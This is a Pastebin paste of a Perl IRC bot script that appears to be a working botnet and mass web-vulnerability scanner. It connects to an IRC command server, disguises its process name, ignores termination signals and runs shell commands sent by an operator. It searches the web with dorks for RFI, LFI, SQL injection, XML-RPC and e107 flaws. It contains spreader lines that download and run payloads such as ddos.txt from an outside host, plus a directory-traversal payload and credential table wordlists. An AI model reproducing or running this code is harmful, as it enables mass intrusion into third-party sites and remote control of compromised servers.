API tools faq
paste
Advertisement
MRC

asd.pl

MRC
Aug 12th, 2012
401
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 65.50 KB | None | 0 0
raw download clone embed print report
  1.  
  2. #!/usr/bin/perl
  3.  
  4. use HTTP::Request;
  5. use LWP::UserAgent;
  6. use IO::Socket;
  7. use IO::Select;
  8. use IO::Socket::INET;
  9. use Socket;
  10. use HTTP::Request::Common;
  11. use LWP::Simple;
  12. use LWP 5.64;
  13. use HTTP::Request::Common qw(POST);
  14. use Digest::MD5 qw(md5_hex);
  15. use MIME::Base64;                  
  16.  
  17. my $datetime = localtime;
  18.  
  19. my $fakeproc    = "/usr/bin/perl";
  20. my $ircserver   = "root-network.zapto.org";
  21. my $ircport     = "6667";
  22. my $nickname    = "Scan-".int(rand(100))."}";
  23. my $ident       = "slow";
  24. my $channel     = "#SQL";
  25. my $admin       = "MRC";
  26. my $fullname    = "AUTO SCAN ";
  27.  
  28. my $rfilogo   = "3(4@13RFI3)";
  29. my $lfilogo   = "3(4@13LFI3)";
  30. my $xmllogo   = "3(4@13XML3)";
  31. my $lfdlogo   = "3(4@13LFD3)";
  32. my $sqllogo   = "3(4@13SQL3)";
  33. my $e107logo  = "3(4@13E1073)";
  34.  
  35. my $autorfi    = '-autorfi';
  36. my $autolfi    = '-autolfi';
  37. my $autolfd    = '-autolfd';
  38. my $autoe107   = '-autoe107';
  39. my $autoxml    = '-autoxml';
  40. my $autosql    = '-autosql';
  41.  
  42. my $rficmd    = '!rfi';
  43. my $lficmd    = '!lfi';
  44. my $xmlcmd    = '!xml';
  45. my $lfdcmd    = '!lfd';
  46. my $sqlcmd    = '!sql';
  47. my $e107cmd   = '!e107';
  48. my $cmdxml    = '!cmdxml';
  49. my $cmdlfi    = '!cmdlfi';
  50. my $cmde107   = '!cmde107';
  51. my $lfisprd   = "cd /tmp;wget ;perl alat.txt;rm -rf alat*;fetch ;perl alat.txt;rm -rf alat*;lwp-download ;perl alat.txt;rm -rf alat*;curl -O ;perl alat.txt;rm -rf alat*";
  52. my $xmlspread = "cd /tmp;wget http://utama-audio.com/temp/malam/ddos.txt;perl ddos.txt;rm -rf ddos*;fetch http://utama-audio.com/temp/malam/ddos.txt;perl ddos.txt;rm -rf ddos.*;lwp-download ;perl alat.txt;rm -rf alat*;curl -O ;perl alat.txt;rm -rf alat*";
  53.  
  54. my $rfiid     = "http://utama-audio.com/temp/id/id2";
  55. my $injector  = "http://utama-audio.com/temp/id/id2";
  56. my $ipays     = "http://utama-audio.com/temp/point/po.txt";
  57.  
  58. my @uagents   = ("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12","Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4","Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5","Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1","Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9","Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5","Seamonkey-1.1.13-1(X11; U; GNU Fedora fc 10) Gecko/20081112","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3)");
  59. my $uagent    = $uagents[rand(scalar(@uagents))];
  60. my $lfdtest   = "../../../../../../../../../../../../../../../proc/self/environ%00";
  61. my $lfdoutput = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
  62. my @tabele      = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  63.                     'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
  64.                     'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  65.                     'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
  66.                     'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  67.                     'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  68.                     'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  69.                     'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  70.                     'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  71.                     'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  72. my @kolumny     = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  73.                     'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  74.                     'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  75.                     'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  76.                     'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  77.                     'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  78.  
  79. my $success   = "\n [+] Mazacrew Testing\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";
  80. my $failed    = "\n [-] perl $0 \n\n";
  81.  
  82. if (@ARGV != 0) { print $failed; exit(); } else { print $success; }
  83.  
  84. $SIG{'INT'}   = 'IGNORE';
  85. $SIG{'HUP'}   = 'IGNORE';
  86. $SIG{'TERM'}  = 'IGNORE';
  87. $SIG{'CHLD'}  = 'IGNORE';
  88. #$SIG{'PS'}    = 'IGNORE';
  89.  
  90. chdir("/");
  91. $ircserver = "$ARGV[0]" if $ARGV[0];
  92. $0 = "$fakeproc"."\0" x 16;
  93. my $pid = fork;
  94. exit if $pid;
  95. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  96.  
  97. our %irc_servers;
  98. our %DCC;
  99. my $dcc_sel = new IO::Select->new();
  100. $sel_client = IO::Select->new();
  101. sub sendraw {
  102.     if ($#_ == '1') {
  103.     my $socket = $_[0];
  104.     print $socket "$_[1]\n";
  105.     } else {
  106.         print $IRC_cur_socket "$_[0]\n";
  107.     }
  108. }
  109. my @domen = ("site:.org","site:.info","site:.net","site:.com","site:.edu","site:.mil","site:.int","site:.gov","site:.ac","site:.ad","site:.ae","site:.af","site:.ag","site:.ai","site:.al","site:.am","site:.an","site:.ao","site:.aq","site:.ar","site:.as","site:.asia","site:.at","site:.au","site:.aw","site:.ax","site:.az","site:.ba","site:.bb","site:.bd","site:.be","site:.bg","site:.bh","site:.bi","site:.bj","site:.bm","site:.bn","site:.bo","site:.br","site:.bs","site:.bt","site:.bw","site:.by","site:.bz","site:.ca","site:.cc","site:.cd","site:.cf","site:.cg","site:.ch","site:.ci","site:.ck","site:.cl","site:.cm","site:.cn","site:.co","site:.cr","site:.cu","site:.cv","site:.cx","site:.cy","site:.cz","site:.de","site:.dj","site:.dk","site:.dm","site:.do","site:.dz","site:.ec","site:.ee","site:.eg","site:.es","site:.eu","site:.fi","site:.fj","site:.fk","site:.fm","site:.fo","site:.fr","site:.gd","site:.ge","site:.gf","site:.gg","site:.gi","site:.gl","site:.gm","site:.gp","site:.gq","site:.gr","site:.gs","site:.gt","site:.gu","site:.gy","site:.hk","site:.hm","site:.hn","site:.hr","site:.ht","site:.hu","site:.id","site:.ie","site:.il","site:.im","site:.in","site:.io","site:.iq","site:.ir","site:.is","site:.it","site:.je","site:.jm","site:.jo","site:.jp","site:.ke","site:.kg","site:.kh","site:.ki","site:.km","site:.kn","site:.kr","site:.kw","site:.ky","site:.kz","site:.la","site:.lb","site:.lc","site:.li","site:.lk","site:.lr","site:.ls","site:.lt","site:.lu","site:.lv","site:.ly","site:.ma","site:.mc","site:.md","site:.me","site:.mg","site:.mk","site:.mo","site:.mn","site:.mp","site:.ms","site:.mt","site:.mu","site:.mv","site:.mw","site:.mx","site:.my","site:.mz","site:.na","site:.nc","site:.nf","site:.ng","site:.ni","site:.nl","site:.no","site:.nr","site:.nu","site:.nz","site:.om","site:.pa","site:.pe","site:.ph","site:.pg","site:.pk","site:.pl","site:.pn","site:.pr","site:.ps","site:.pt","site:.py","site:.qa","site:.re","site:.ro","site:.rs","site:.ru","site:.sa","site:.sb","site:.sd","site:.se","site:.sg","site:.sh","site:.si","site:.sk","site:.sl","site:.sm","site:.sn","site:.so","site:.sr","site:.st","site:.su","site:.sv","site:.sy","site:.sz","site:.tc","site:.tg","site:.th","site:.tj","site:.tk","site:.tn","site:.to","site:.tr","site:.tt","site:.tz","site:.tv","site:.tw","site:.ua","site:.ug","site:.uk","site:.us","site:.uy","site:.uz","site:.vc","site:.ve","site:.vg","site:.vi","site:.vn","site:.vu","site:.ws","site:.ye","site:.zm","site:.za","site:.zw");
  110. sub connector {
  111.     my $mynick = $_[0];
  112.     my $ircserver_con = $_[1];
  113.     my $ircport_con = $_[2];
  114.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  115.     if (defined($IRC_socket)) {
  116.         $IRC_cur_socket = $IRC_socket;
  117.         $IRC_socket->autoflush(1);
  118.         $sel_client->add($IRC_socket);
  119.     $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  120.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  121.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  122.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  123.         nick("$mynick");
  124.         my $versi   = "(4Auto Scanner MazacreW)";
  125.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  126.         sleep (1);}}
  127. sub parse {
  128.     my $servarg = shift;
  129.     if ($servarg =~ /^PING \:(.*)/) {
  130.         sendraw("PONG :$1");
  131.     }
  132.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  133.         if (lc($1) eq lc($mynick)) {
  134.             $mynick = $4;
  135.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  136.         }
  137.     }
  138.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  139.         nick("$mynick".int rand(1));
  140.     }
  141.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  142.         $mynick = $2;
  143.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  144.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  145.         sendraw("MODE $mynick +Bx");
  146.         sendraw("JOIN $channel");
  147.         sleep(1);
  148.         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  149.     }
  150. }
  151. my $line_temp;
  152. while( 1 ) {
  153.     while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  154.     select(undef, undef, undef, 0.01);
  155.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  156.     my @ready = $sel_client->can_read(0);
  157.     next unless(@ready);
  158.     foreach $fh (@ready) {
  159.         $IRC_cur_socket = $fh;
  160.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  161.         $nread = sysread($fh, $ircmsg, 4096);
  162.         if ($nread == 0) {
  163.             $sel_client->remove($fh);
  164.             $fh->close;
  165.             delete($irc_servers{$fh});
  166.         }
  167.         @lines = split (/\n/, $ircmsg);
  168.         $ircmsg =~ s/\r\n$//;
  169.  
  170.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  171.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  172.         my $engine ="GooGLe,ReDiff,UoL,Bing,ALtaViSTa,AsK,YahOo,CluSty,GutSer,GooGle2,ExaLead,LyCos,VirgiLio,WebDe,HotBot,AoL,SaPo,DuCk,LyGo,YauSe,BaiDu,KiPoT,GiBLa,BLacK,interia,walla,naver,libero,tiscali,ixquic,snz,seznam,szukacz,kvasir,msn,alltheweb";
  173.             if ($path eq $mynick) {
  174.                 if ($msg =~ /^PING (.*)/) {
  175.                     sendraw("NOTICE $nick :PING $1");
  176.                 }
  177.                 if ($msg =~ /^VERSION/) {
  178.                     sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
  179.                 }
  180.                 if ($msg =~ /^TIME/) {
  181.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  182.                 }
  183.                 if (&isAdmin($nick) && $msg eq "!die") {
  184.                     &shell("$path","kill -9 $$");
  185.                 }
  186.                 if (&isAdmin($nick) && $msg eq "!killall") {
  187.                     &shell("$path","killall -9 perl");
  188.                 }
  189.                 if (&isAdmin($nick) && $msg eq "!reset") {
  190.                     sendraw("QUIT :Restarting...");
  191.                 }
  192.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  193.                     sendraw("JOIN #".$1);
  194.                 }
  195.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  196.                     sendraw("PART #".$1);
  197.                 }
  198.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  199.                     sendraw("NICK ".$1);
  200.                 }
  201.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  202.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  203.                 }
  204.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  205.                     &shell("$nick","$msg");
  206.                 }
  207.            }
  208.             else {
  209.                 if (&isAdmin($nick) && $msg eq "!die") {
  210.                     &shell("$path","kill -9 $$");
  211.                 }
  212.                 if (&isAdmin($nick) && $msg eq "!killall") {
  213.                     &shell("$path","killall -9 perl");
  214.                 }
  215.                 if (&isAdmin($nick) && $msg eq "!reset") {
  216.                     sendraw("QUIT :Restarting...");
  217.                 }
  218.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  219.                     sendraw("JOIN #".$1);
  220.                 }
  221.                 if (&isAdmin($nick) && $msg eq "!part") {
  222.                     sendraw("PART $path");
  223.                 }
  224.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  225.                     sendraw("PART #".$1);
  226.                 }
  227.                 if (&isAdmin($nick) && $msg =~ /^\!x (.*)/) {
  228.                     &shell("$path","$1");
  229.                 }
  230.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  231.                     &shell("$path","$1");
  232.                 }
  233.                 ################################################################################# HELP COMMAND
  234.  
  235.                 if ($msg=~ /^!help/) {
  236.                     my $helplogo = "3(4@13Help3)";
  237.                     &msg("$path","$helplogo ||4 $rficmd||4$lficmd||4$xmlcmd||4$lfdcmd||4$sqlcmd||4$e107cmd [bug] [dork] ||");
  238.                     &msg("$path","$helplogo ||4 $autorfi||4$autolfi||4$autoxml||4$autolfd||4$autosql||4$autoe107 [bug] [dork] ||");
  239.                     &msg("$path","$helplogo ||4 $cmdlfi||4$cmdxml||4$cmde107 [target] [cmd] ||");
  240.                 }
  241.                 if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  242.                     if (&isFound($injector,"DZfHDoPYAUV")) {
  243.                         &notice("$nick","3(4@13Injector3)12 Respon Scanner 13Maknyussss...!");
  244.                     } else {
  245.                         &notice("$nick","3(4@13Injector3)12 Respon Scanner 4Mateeeettttt..!!!");
  246.                     }
  247.                 }
  248.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  249.                     &notice("$nick","Fake Process/PID : 4$fakeproc - $$");
  250.                 }
  251.  
  252.         ################################################################################# CMD Injector COMMANDS
  253.  
  254.         if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
  255.             my $url = $1."../../../../../../../../../../../../../../../proc/self/environ%00";
  256.             my $cmd = $2;
  257.             &cmdlfi($url,$cmd,$path);
  258.         }
  259.         if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
  260.             my $url = $1;
  261.             my $cmd = $2;
  262.             &cmdxml($url,$cmd,$path);
  263.         }
  264.         if ($msg=~ /^$cmde107\s+(.+?)\s+(.*)/){
  265.             my $url = $1;
  266.             my $cmd = $2;
  267.             &cmde107($url,$cmd,$path);
  268.         }
  269.  
  270.         ################################################################################# RFI AUTO SCAN
  271.  
  272.         if ($msg=~ /^$autorfi\s+(.+?)\s+(.*)/) {
  273.             if (my $pid = fork) {
  274.                 waitpid($pid, 0);
  275.                     }
  276.                     else {
  277.                         foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
  278.                         if (fork) {    exit; } else {
  279.                             if (&isFound($rfiid,"DZfHDoPYAUV")) {
  280.                                 my ($bug,$dork) = ($1,$2." ".$domens);
  281.                                 &msg("$path","$rfilogo Dork :14 $dork");
  282.                                 &msg("$path","$rfilogo Bugz :14 $bug");
  283.                                 &msg("$path","$rfilogo 14Search Engine Loading ...");
  284.                                 &scan_start($path,$bug,$dork,$engine,1);
  285.                             } else {
  286.                                 &msg("$path"," -=[ $nick ]=- $rfilogo 4Scanner Di Cancel..!");
  287.                             }
  288.                         }
  289.                     }    exit;
  290.              }
  291.     }
  292.         ################################################################################## RFI SCAN
  293.  
  294.                 if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
  295.                     if (my $pid = fork) {
  296.                         waitpid($pid, 0);
  297.                     }
  298.                     else {
  299.                         if (fork) { exit; } else {
  300.                             if (&isFound($rfiid,"DZfHDoPYAUV")) {
  301.                                 my ($bug,$dork) = ($1,$2);
  302.                                 &msg("$path","$rfilogo Dork :14 $dork");
  303.                                 &msg("$path","$rfilogo Bugz :14 $bug");
  304.                                 &msg("$path","$rfilogo 14Search Engine Loading ...");
  305.                                 &scan_start($path,$bug,$dork,$engine,1);
  306.                             } else {
  307.                                 &msg("$path"," -=[ $nick ]=- $rfilogo 4Respon Matet, Scanner Di Cancel..!!");
  308.                             }
  309.                         }
  310.                         exit;
  311.                     }
  312.                 }
  313.  
  314.         ################################################################################# LFI AUTO SCAN
  315.  
  316.         if ($msg=~ /^$autolfi\s+(.+?)\s+(.*)/) {
  317.             if (my $pid = fork) {
  318.                 waitpid($pid, 0);
  319.                     }
  320.                     else {
  321.                         foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
  322.                         if (fork) {    exit; } else {
  323.                             if (&isFound($injector,"DZfHDoPYAUV")) {
  324.                                 my ($bug,$dork) = ($1,$2." ".$domens);
  325.                                 &msg("$path","$lfilogo Dork :14 $dork");
  326.                                 &msg("$path","$lfilogo Bugz :14 $bug");
  327.                                 &msg("$path","$lfilogo 14Search Engine Loading ...");
  328.                                 &scan_start($path,$bug,$dork,$engine,2);
  329.                             } else {
  330.                                 &msg("$path"," -=[ $nick ]=- $lfilogo 4Respon Matet, Scanner Di Cancel..!!");
  331.                             }
  332.                         }
  333.                     }    exit;
  334.               }
  335.     }
  336.  
  337.         ################################################################################# LFI SCAN
  338.  
  339.                 if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
  340.                     if (my $pid = fork) {
  341.                         waitpid($pid, 0);
  342.                     }
  343.                     else {
  344.                         if (fork) { exit; } else {
  345.                             if (&isFound($injector,"DZfHDoPYAUV")) {
  346.                                 my ($bug,$dork) = ($1,$2);
  347.                                 &msg("$path","$lfilogo Dork :14 $dork");
  348.                                 &msg("$path","$lfilogo Bugz :14 $bug");
  349.                                 &msg("$path","$lfilogo 14Search Engine Loading ...");
  350.                                 &scan_start($path,$bug,$dork,$engine,2);
  351.                             } else {
  352.                                 &msg("$path"," -=[ $nick ]=- $lfilogo 4Respon Matet, Scanner Di Cancel..!!");
  353.                             }
  354.                         }
  355.                         exit;
  356.                     }
  357.                 }
  358.  
  359.         ################################################################################# XML AUTO SCAN
  360.  
  361.         if ($msg=~ /^$autoxml\s+(.+?)\s+(.*)/) {
  362.             if (my $pid = fork) {
  363.                 waitpid($pid, 0);
  364.                     }
  365.                     else {
  366.                         foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
  367.                         if (fork) {    exit; } else {
  368.                             if (&isFound($injector,"DZfHDoPYAUV")) {
  369.                                 my ($bug,$dork) = ($1,$2." ".$domens);
  370.                                 &msg("$path","$xmllogo Dork :14 $dork");
  371.                                 &msg("$path","$xmllogo Bugz :14 $bug");
  372.                                 &msg("$path","$xmllogo 14Search Engine Loading ...");
  373.                                 &scan_start($path,$bug,$dork,$engine,3);
  374.                             } else {
  375.                                 &msg("$path"," -=[ $nick ]=- $xmllogo 4Respon Matet, Scanner Di Cancel..!!");
  376.                             }
  377.                         }
  378.                     }    exit;
  379.               }
  380.          }
  381.  
  382.         ################################################################################# XML SCAN
  383.  
  384.         if ($msg=~ /^$xmlcmd\s+(.*?)\s+(.*)/ ) {
  385.             if (my $pid = fork) {
  386.             waitpid($pid, 0);
  387.             }
  388.             else {
  389.             if (fork) { exit; } else {
  390.                             if (&isFound($injector,"DZfHDoPYAUV")) {
  391.                                 my ($bug,$dork) = ($1,$2);
  392.                                 &msg("$path","$xmllogo Dork :14 $dork");
  393.                                 &msg("$path","$xmllogo Bugz :14 $bug");
  394.                                 &msg("$path","$xmllogo 14Search Engine Loading ...");
  395.                                 &scan_start($path,$bug,$dork,$engine,3);
  396.                             } else {
  397.                                 &msg("$path"," -=[ $nick ]=- $xmllogo 4Respon Matet, Scanner Di Cancel..!!");
  398.                             }
  399.                         }
  400.                         exit;
  401.                     }
  402.                 }
  403.  
  404.         ################################################################################# LFD AUTO SCAN
  405.  
  406.         if ($msg=~ /^$autolfd\s+(.+?)\s+(.*)/) {
  407.             if (my $pid = fork) {
  408.                 waitpid($pid, 0);
  409.                     }
  410.                     else {
  411.                         foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
  412.                         if (fork) {    exit; } else {
  413.                             if (&isFound($injector,"DZfHDoPYAUV")) {
  414.                                 my ($bug,$dork) = ($1,$2." ".$domens);
  415.                                 &msg("$path","$lfdlogo Dork :14 $dork");
  416.                                 &msg("$path","$lfdlogo Bugz :14 $bug");
  417.                                 &msg("$path","$lfdlogo 14Search Engine Loading ...");
  418.                                 &scan_start($path,$bug,$dork,$engine,4);
  419.                             } else {
  420.                                 &msg("$path"," -=[ $nick ]=- $lfdlogo 4Respon Matet, Scanner Di Cancel..!!");
  421.                             }
  422.                         }
  423.                     }    exit;
  424.               }
  425.          }
  426.  
  427.         ################################################################################# LFD SCAN
  428.  
  429.                 if ($msg=~ /^$lfdcmd\s+(.+?)\s+(.*)/) {
  430.                     if (my $pid = fork) {
  431.                         waitpid($pid, 0);
  432.                     }
  433.                     else {
  434.                         if (fork) { exit; } else {
  435.                             my ($bug,$dork) = ($1,$2);
  436.                             &msg("$path","$lfdlogo Dork :14 $dork");
  437.                             &msg("$path","$lfdlogo Bugz :14 $bug");
  438.                             &msg("$path","$lfdlogo 14Search Engine Loading ...");
  439.                             &scan_start($path,$bug,$dork,$engine,4);
  440.                         }
  441.                         exit;
  442.                     }
  443.                 }
  444.  
  445.         ################################################################################# SQL AUTO SCAN
  446.  
  447.         if ($msg=~ /^$autosql\s+(.+?)\s+(.*)/) {
  448.             if (my $pid = fork) {
  449.                 waitpid($pid, 0);
  450.                     }
  451.                     else {
  452.                         foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
  453.                         if (fork) {    exit; } else {
  454.                             if (&isFound($injector,"DZfHDoPYAUV")) {
  455.                                 my ($bug,$dork) = ($1,$2." ".$domens);
  456.                                 &msg("$path","$sqllogo Dork :14 $dork");
  457.                                 &msg("$path","$sqllogo Bugz :14 $bug");
  458.                                 &msg("$path","$sqllogo 14Search Engine Loading ...");
  459.                                 &scan_start($path,$bug,$dork,$engine,5);
  460.                             } else {
  461.                                 &msg("$path"," -=[ $nick ]=- $sqllogo 4Respon Matet, Scanner Di Cancel..!!");
  462.                             }
  463.                         }
  464.                     }    exit;
  465.               }
  466.          }
  467.  
  468.         ################################################################################# SQL SCAN
  469.  
  470.                 if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
  471.                     if (my $pid = fork) {
  472.                         waitpid($pid, 0);
  473.                     }
  474.                     else {
  475.                         if (fork) { exit; } else {
  476.                             my ($bug,$dork) = ($1,$2);
  477.                             &msg("$path","$sqllogo Dork :14 $dork");
  478.                             &msg("$path","$sqllogo Bugz :14 $bug");
  479.                             &msg("$path","$sqllogo 14Search Engine Loading ...");
  480.                             &scan_start($path,$bug,$dork,$engine,5);
  481.                         }
  482.                         exit;
  483.                     }
  484.                 }
  485.  
  486.         ################################################################################# E107 AUTO SCAN
  487.  
  488.         if ($msg=~ /^$autoe107\s+(.+?)\s+(.*)/) {
  489.             if (my $pid = fork) {
  490.                 waitpid($pid, 0);
  491.                     }
  492.                     else {
  493.                         foreach my $domends (@domen) { $domens = $domen[rand(scalar(@domen))];
  494.                         if (fork) {    exit; } else {
  495.                             if (&isFound($injector,"DZfHDoPYAUV")) {
  496.                                 my ($bug,$dork) = ($1,$2." ".$domens);
  497.                                 &msg("$path","$e107logo Dork :14 $dork");
  498.                                 &msg("$path","$e107logo Bugz :14 $bug");
  499.                                 &msg("$path","$e107logo 14Search Engine Loading ...");
  500.                                 &scan_start($path,$bug,$dork,$engine,6);
  501.                             } else {
  502.                                 &msg("$path"," -=[ $nick ]=- $e107logo 4Respon Matet, Scanner Di Cancel..!!");
  503.                             }
  504.                         }
  505.                     }    exit;
  506.                }
  507.          }
  508.  
  509.         ################################################################################# E107 SCAN
  510.  
  511.                 if ($msg=~ /^$e107cmd\s+(.+?)\s+(.*)/) {
  512.                     if (my $pid = fork) {
  513.                         waitpid($pid, 0);
  514.                     }
  515.                     else {
  516.                         if (fork) { exit; } else {
  517.                             if (&isFound($injector,"DZfHDoPYAUV")) {
  518.                                 my ($bug,$dork) = ($1,$2);
  519.                                 &msg("$path","$e107logo Dork :14 $dork");
  520.                                 &msg("$path","$e107logo Bugz :14 $bug");
  521.                                 &msg("$path","$e107logo 14Search Engine Loading ...");
  522.                                 &scan_start($path,$bug,$dork,$engine,6);
  523.                             } else {
  524.                                 &msg("$path","-=[ $nick ]=- $e107logo 4Respon Matet, Scanner Di Cancel..!!");
  525.                             }
  526.                         }
  527.                         exit;
  528.                     }
  529.                 }
  530.  
  531.         #################################################################################
  532.  
  533.             }
  534.         }
  535.  
  536.         for(my $c=0; $c<= $#lines; $c++) {
  537.             $line = $lines[$c];
  538.             $line = $line_temp.$line if ($line_temp);
  539.             $line_temp = '';
  540.             $line =~ s/\r$//;
  541.             unless ($c == $#lines) {
  542.                 &parse("$line");
  543.             } else {
  544.                 if ($#lines == 0) {
  545.                     &parse("$line");
  546.                 } elsif ($lines[$c] =~ /\r$/) {
  547.                     &parse("$line");
  548.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  549.                     &parse("$line");
  550.                 } else {
  551.                     $line_temp = $line;
  552.                 }
  553.             }
  554.         }
  555.     }
  556. }
  557.  
  558. #########################################
  559.  
  560. sub type () {
  561. my ($chan,$bug,$dork,$engine,$type) = @_;
  562.     if ($type == 1){$type=&rfi($chan,$bug,$dork,$engine);}
  563.      elsif ($type == 2){$type=&lfi($chan,$bug,$dork,$engine);}
  564.      elsif ($type == 3){$type=&xml($chan,$bug,$dork,$engine);}
  565.      elsif ($type == 4){$type=&lfd($chan,$bug,$dork,$engine);}
  566.      elsif ($type == 5){$type=&sql($chan,$bug,$dork,$engine);}
  567.      elsif ($type == 6){$type=&e107($chan,$bug,$dork,$engine);}
  568. }
  569. sub scan_start() {
  570. my ($chan,$bug,$dork,$engine,$type) = @_;
  571. my $scan_part = 1;
  572. if ($scan_part == 1) {
  573. &msg("$chan","4Pemerkosaan Ke $scan_part $bug $dork");
  574.     if ($engine =~ /google/i) {
  575.         if (my $pid = fork) { waitpid($pid, 0); }
  576.         else { if (fork) { exit; } else {
  577.         &type($chan,$bug,$dork,"GooGLe",$type);
  578.         } exit; }
  579.     }
  580.    
  581.     if ($engine =~ /google2/i) {
  582.         if ($pid = fork) { waitpid($pid, 0); }
  583.         else { if (fork) { exit; } else {
  584.         &type($chan,$bug,$dork,"GooGle2",$type);
